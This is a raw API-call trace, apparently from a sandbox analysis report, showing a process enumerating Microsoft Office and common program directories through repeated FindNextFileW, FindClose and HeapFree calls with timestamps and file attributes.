lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0072.450] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.450] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0072.450] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.450] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0072.451] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.451] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0072.451] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.451] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0072.451] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.451] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0072.451] FindClose (in: hFindFile=0x4260340 | out: hFindFile=0x4260340) returned 1 [0072.451] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.451] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0072.901] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.901] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1 [0072.901] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.901] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1 [0072.901] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.901] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1 [0072.901] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.902] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0072.902] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.902] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0072.902] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0072.902] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0072.903] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.903] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0072.903] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0072.903] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.903] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0072.906] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.906] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0 [0072.906] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0072.907] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.907] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0072.908] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443bff8 | out: hHeap=0x6a0000) returned 1 [0072.908] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328e69c | out: lpFindFileData=0x328e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0072.908] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0072.908] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328e918 | out: lpFindFileData=0x328e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0072.908] FindClose (in: hFindFile=0x4260240 | out: hFindFile=0x4260240) returned 1 [0072.908] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.908] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0 [0072.908] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0072.908] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.908] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0072.908] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0072.908] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0072.910] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBC", cAlternateFileName="")) returned 1 [0072.911] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.911] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0 [0072.911] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0072.911] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0072.911] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 1 [0072.912] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.912] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0072.912] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0072.912] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.912] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1 [0072.912] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.912] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0072.912] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0072.912] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0072.912] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 0 [0072.912] FindClose (in: hFindFile=0x4260080 | out: hFindFile=0x4260080) returned 1 [0072.912] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0072.914] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1 [0072.917] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0072.917] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0072.920] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.920] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0072.921] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.921] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0072.921] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.921] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0072.921] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.921] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0072.921] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.921] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0072.922] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.922] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0072.923] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.923] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0072.923] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.923] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0072.924] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0072.924] 